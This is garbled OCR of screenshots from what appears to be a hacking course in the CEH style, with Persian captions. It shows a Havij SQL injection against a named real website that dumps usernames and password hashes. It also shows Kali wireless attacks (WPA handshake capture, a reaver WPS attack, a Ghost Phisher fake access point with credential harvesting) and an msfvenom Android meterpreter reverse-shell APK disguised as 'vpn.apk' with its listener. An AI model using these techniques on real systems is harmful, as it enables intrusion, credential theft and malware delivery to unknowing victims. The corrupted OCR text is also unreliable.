@Javangrpchannel

# Havij — O *
Target: | http://www.calidus.ro/en/news.php?id=2 | > 1]
Anal P
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | nalyze  rouss
Databaze: Auto Detect ~ | Method  |GET | Type |Auto Detect N
Load Save

Poszt D ata:

L7 giid = = ) A, A
About Info Tables Read Files Cmd Shell Cuery  Find Admin MD5 Settings

") -

Save Tables  Save Data

B i H I
Get DBs Get Tables Get Columns § Get Data

Stop
=[] uszers
-] user_id
- [] user_type

: USErhane

i [v] uzer_passward

- [] user_lastvizit
- [] user_last_caonfirm_k
- [] user_new_privmag

-] logoade
-] usemarme_clean  w

£ >
IJze Group_Concat [MySEL Only) &llin one request. [ ] Force to use it Clear list on get

Statugz: I'm IDLE Clear Log

Selected Column Count is 4 A
valid string Column is 2

Current DB: caliduzb_calidussqgl

Data Base Found: information_schema

Data Base Found: caliduzb_calidussqgl
Count(table_name) of information_schema.tables where table_schema=0x&63616C6964757A625|

Tables found: about,about_de,about_en,categories,categories_de,categories_en,contact,

Count (column_name) of information_schema.columns where table_schema=0x&63616C6964757A6.

Columns found: wser_id,user_type,user_regdate,username,user_password,user_smail,user_’
W

>
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# Havij — O *
Target: |http:f.-"www.calidus.rw’em’new&.php?i|:|=2 | > 1]
Anal P
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | nalyze  rouss
Databaze: Auto Detect ~ | Method  |GET | Type |Auto Detect N
Load Save
Poszt D ata:
L7 giid = = ) A, A
About Info Tables Read Files Cmd Shell Cuery f Find Admin MD5 Settings

5 i | = M

Get DBs Get Tables Get Col-umns Get Data Save Tables  Save Data

i [] suppart_en ~
=[] users

-] user_id dexmod 30dbde9503e13437db0f854b...
[ user_type admin 6330f0ea7bba8050796b64%¢. ..

[ user_regdate mitadro 122f961db675f6a4509985944. .
- [w] usemanne

- [w] user_password

- [] user_email

- [] user_lastvizit

- [] uzer_last_confirm_k
-] uzer_new_privmzg
-] logoade

-] usemame_clean  w
£ >

IJze Group_Concat [MySEL Only) &llin one request. [ ] Force to use it Clear list on get

username user_password

" Statuz 'm IDLE Clear Log

Data Base Found: caliduzb_calidussqgl A
Count(table_name) of information_schema.tables where table_schema=0x&63616C6964757A625|
Tables found: about,about_de,about_en,categories,categories_de,categories_en,contact,
Count (column_name) of information_schema.columns where table_schema=0x&63616C6964757A6
Columns found: wuser_id,user_type,user_regdate,username,user_password,user_smail,user_’
Count (=) of caliduzb_calidussqgl.users is 3

Data Found: username,user_password=dexmodraddbdessozel3437dboTEs4b0b72a73b

Data Found: username,user_password=adminte3astoearbbs8050796b649285481845

Data Found: username,user_password=miladrorlzzfoeldbersTea45b998594471a9300
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# Havij — O *
Target: | http://www.calidus.ro/en/news.php?id=2 | > 1]
Analyze Fause
[ Keyword: |Autu:u Dietect | [ Syntax: |Autu:u Dietect | v
Databaze: Auto Detect w| Method | GET | Twpe: | Auto Detect = 1
Load Save
Poszt D ata:

) i = a B g )+
About Info Tables Read Files Crmd Shell Cuery § |Find Admin MD3 Settings

Fath to zearch:

(®) Success re

() Failure res:

Found Pages:

| http:/fwww.calidus.ro/en/ |

s [200,500,301,3 web Apps: [php,asp Thieads: [5 |
400,401,404 Tirne aut; Retries:

Page

Response

Statuz: I'm IDLE

Clear Log

Data Base Found:

Columns Tound:

Count{=) of cal
Data Found: use
Data Found: use
Data Found: use

Count{table_name) of information_schema.tables where table_schema=0x63616C6964757 -ﬂu525|
Tables found: about,about_de,about_en,categories,categories_de,categories_en,contact,
Count {column_name) u:uf 'fr'lfDr'nEltTDﬂ_SChE'na.CD1u11r15 where tab'le_schema=l:|>(63l516cl5964.75FAE:

caliduzb_calidussqgl

user_id,user_type,user_regdate,username,user_password,user_email,user_’
jduzb_calidussqgl.users is 3
rname,user_password=dexmodraddbdess0zel3437db0T 85 4b0b7 2473k
rname,user_password=adminfte3asfT0earbb9s8050796b64928545815845
roname,user_password=miladrorl22f9e1dbersTea45b998534471a39900
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Module 14 Hacking Wireless Networks

Hacking Wireless Networks
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root@kali: ~

File Edit Viey Sk, Terminal  Help

255 .255.0

nEthernet
MULTI

(~# airmon-ng
Intervace Driver Chipset

wlan( rt2800ush Ralink Tec

T~
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root@kali: ~

File Edit Wiew Search Terminal Help
wlan® :
0 (0.0 B)

PHY Interface Jriver Chipset

phy@ wlan@ ) b Ralink Technol

:off/a
s Point:
RTS thr

nsions.

Interface lriver Chipset

wlLan@ 12 ) Ralink
(macB0211 mo or » yif enablec

(macBB2ll s node vif disabl

= kill 3
T~
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:~# airmon-ng
PHY Intertace Driver

phy® wlanB@mon rt2 ¢ , Corp. RT3B7Z

eth@ S5 extensions.

wlantmon 802.11bg ode:Monitor Freguency:Z.457 GHz Tx
8 i RTS thr:off ent thr:off

nsions.

root@kali: ~

File Edit View Search Terminal Help
2_16 B
#Data, #/s C EMC CIPHER AUTH ESSID

@ c]
6] Q
G} 6]
] ¢}
6] 6]
¢} ¢}

BSSID PWR Lost Frames Probe

(not i o] ) 8:61:7 (C -3 37 50
C8:BE: 24 : i €]
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root@kali: ~

File Edit View Search Terminal Help
CH 1 ][ Elapsed: 3 mins ][ 2016-02-16 S ][ WPA handshake: C8:BE:19:21:35:

BSSID PWR Beacons #Data, #/s C MB ENC CIPHER AUTH ESSID

S11 a7 7 ¢ 1 54e  WPAZ
-36 9] : 01 _WPA
44 2 2 @ 6  WPAZ

0]
-60 3] @ €]

STATION WR Rate Lost Frames

Hide,ali-sn

root@kali: ~

File Edit Wiew Search Terminal Help
CH 4 ][

BSSID “WR  Beacons #Data, #/sf C ENC CIPHER AUTH WPS

C8:BE:19:21:35:33 [-46 Z 6 O 6 54e WPAZ CCMP PSK | 1.0

BSSID STATION "WR Rate Lost Frames

(not assoclated) EG:81:7E:7 7 58 o -1 47

root@kali: ~

File Edit View Search Help

=#time reaver -i wlan®mon -c 6 -b CB:BE:19:Z21:

Terminal
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root@kali: ~ - (O

File Edit WView Search Terminal Help
F:l ) e B /|

Hide

ali-sn

Ali farshad

baran

D-Link

majid




il

General

Connection

IPv4 Connectivity:
IPvE Connectivity:

Mot Connected
Not Connected

Speed:

Signal Quality:

Details. ..

Activity —

ot — BGH
Sent n%:ﬂ

Packets:

GProperties

Wireless Properties

®) Disahle

Diagnose

0bps

]

Received

Close

@Javangrpchannel

ali-sn Wireless Metwork Properties et

Connection  Security

Mame: ali-=n
SsID: ali-=n
Metwork type: Access point

Metwark availability: Al users

[+] Connect automatically when this network is in range
[[]Look for other wireless networks while connected to this netwark
[[]connect even if the network is not broadcasting its name (S510)
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ali-sn Wireless Metwork Properties x

Connection  Security

Security type: WPAZ-Personal -

Encryplion type: AES i

Show characters

Advanced settings

Concel

wifi Greek Unlocker oU a (s,1381 o 5 31 oolaiw! Cawl Jgl (o9 31 i o s 45 090 o9,
Sgd o0 el Jiligo 5955 51381 p 5 () WS (o0 el 44 ) p3g0 WS ping default a5 uily oo
"\")BT e |) WpaZ O o) M‘g) «® kali linux SEE B BY el )‘ oo lasuw! L’ 9

root@kali: ~

File Edit WView

- -1 wlanGmon -b CB:BE:19:21:35::
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i -5n’

r'll.__.l".:"lj_l'll._'_] to sav

Favorites aircrack-ng

01 - Information Gathering
chirp
02 - Vulnerability Analysis

03 - Web Application Analysis cowpatty

04 - Database Assessment :
fern wifi cr...
05 - Password Attacks

06 - Wireless Attacks ghost phis...

07 - Reverse Engineering giskismet

08 - Exploitation Tools
kismet

09 - Sniffing & Spoofing

10 - Post Exploitation mdk3

11 - Forensics

i
it
a
"33
?
)

mfoc

12 - Reporting Tools

mfterm
13 - Social Engineering Tools

14 - System Services pixiewps
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Ghost Phisher

g
Fake Access Point  Fake DNS Server  Fake DHCP Server  Fake HTTP Server GHOST Trap  Session Hijacking  ARP Cache Poisoning  Harvested Credentials  About
Acess Poant Name: Channel: IP address: Mac Address:
Runtime:
Wireless Interface
| wiand [» Refresh Card List I
Cumrent Interface: phyQ Mac Address: D00c43:abfobe Monitor: Mot Started

Access Point Settings

s5ID Cryptograplry

IP Sddrace | 197168101

Ghost Phisher

Fake Access Point  Fake DNS Server  Fake DHCP Server  Fake HTTP Server GHOST Trap  Session Hjacking  ARP Cache Poisoning  Harvested Credentials  About

Access Point Details
Acess Point Name: Channel: IP address: Mac Address:
Runtime:
Wireless Interface
wian0 ™ Refresh Card List
Cument Interface: phyQ Mac Address: Olc43abfabe Driver: rt2800ush
et Monit
Access Point Settings
£5I0: Cryptography

IP Address: | 1592168101 I:;:I None ( :I WPA c :|

Channel: |1 |w




Fake Access Point  Fake DNS Server  Fake DHCP Server

@Javangrpchannel

Ghost Phisher

Fake HTTP Server GHOST Trap  Session Hyjadking ~ ARF Cache Poisoning  Harvested Credentials  About

Access Point Details

Acess Point Name: Channel: IF address: Mac Address:

Runtima:
Wireless Interface

| (| |
wilanQ L Refresh Card List
Cument Interface: phy0 Mac Address: 00:0c43abdhte Driver: rt2800ush Monitor: wilanOmon
|
Set Monitor
E.ccess Point Settings _‘
[ |
<sID: Hide] Cryptography
[ |
— — — [

IP Address: | 1592.168.10.1 () None ) wea ) wep

Channel: (1 [w |
e /

Ghost Phisher

Fake Access Point  Fake DNS Server | Fake DHOP Server|  Fake HTTP Server GHOST Trap  Session Hijacking  ARF Cache Poisoning  Harvested Credentials  About
DHCP Version Information

Ghost DHCOP Server
Default Port &7
Protocol: UDP {User Datagram Protocol)

DHCP Settings

[
Start 152.168.10.2

[
[Enwt: 152.168.10.254

Subnet mask: I 255.255.255.0

Gateway: | 192168101

[
Fake DMS: 152168101

[
Alt DNS: 4221
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Module 15 Hacking Mobile Platforms

Hacking Mobile Platforms

Module 15

Unmask the Invisible Hacker.

Kali Linux 2.0 Android phone hack

:~# msfvenom -p android/meterpreter/reverse tcp LHOST=172.16.100.6 LPORT=8888

R>vpn.apk

root@kali: ~ @0e
File Edit View Search Terminal Help
:~# msfconsole

Failed to"CUMMECT™TU the database: could not connect to server: Connection refused
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> use multi/handler
) > set PAYLOAD android/meterpreter/reverse tcp
LOAD => android/meterpreter/reverse tcp
) > set LHOST 172.16.100.6
_HOST => 172.16.100.6
nsf exploit( ) > set LPORT 8888

_PORT => 8888
asf exnloit( ) > exnloit W

Hacking bluetooth with kali linux

root@kali: ~
:~# hciconfig
Type: orR/cun Bus: USB
BD Address: 48:D2:24:B6:2A:B3 ACL MTU: 8192:128 SCO MTU: 64:128
UP RUNNING PSCAN
RX bytes:6495 acl:44 sco:0 events:204 errors:0
TX bytes:2619 acl:46 sco:0 commands:115 errors:0

:~# hciconfig hci0
Type =iy Edfr=luy =058

BD Address: 48:D2:24:B6:2A:B3 ACL MTU: 8192:128 SCO MTU: 64:128
UP RUNNING PSCAN

RX bytes:6495 acl:44 sco:0 events:204 errors:0

TX bytes:2619 acl:46 sco:0 commands:115 errors:0

:~# hciconfig hci0 up
:~# hciconfig scan
Type: BR/JEUK BUS: USB
BD Address: 48:D2:24:B6:2A:B3 ACL MTU: 8192:128 SCO MTU: 64:128
UP RUNNING PSCAN
RX bytes:6495 acl:44 sco:0 events:204 errors:0
TX bytes:2619 acl:46 sco:0 commands:115 errors:0

~# hecitonl scan

scanning
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i~#|12ping E4:32:CB: 52
Ping: E4:32:Ce T TITSUN TSI TTON OO ULTIacb: 2A:B3 (data size 44)
44 bytes from E4:32:CB:71:90: 0 time 469.99ms

44 bytes from E4:32:CB:71:90: time 2.15ms
44 bytes from E4:32:CB:71:9Q:52 time 0.67ms
44 bytes from E4:32:CB:71:90:52 i time 2.22ms

:~# btscanner

reat@kall: =

Fua ot Wi Search @rminal

btscanner 2.0

keys: h=help,fi=inquiry scan ] b=brute force scan, a=abort scan, s=save summary
n=cglae o i e s o 2 q=qu1t
starting inquiry scan
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Module 16 Evading IDS, Firewalls, and Honeypots

Evading IDS, Firewalls, and
Honeypots

Module 16

Unmask the Invisible Hacker.
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Intrusion Detection Systems (IDS)

CEH

Cotlind § sl Macher

and their Placement

A:; An intrusion detection system (IDS} inspects all inbound and outbound network traffic for

vlv suspicious patterns that may indicate a network or system security breach

The IDS checks traffic for signatures that match known intrusion patterns, and signals an

| \§ 4 alarm when a match is found

User Intranet IDS/1PS
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How IDS Works

Internet Firewall

Signature file
v database
v
Enterprise Network “ Matchag? 2** e e,
4

T
: Alarm notifies
: admin and packst
:  canbedropped
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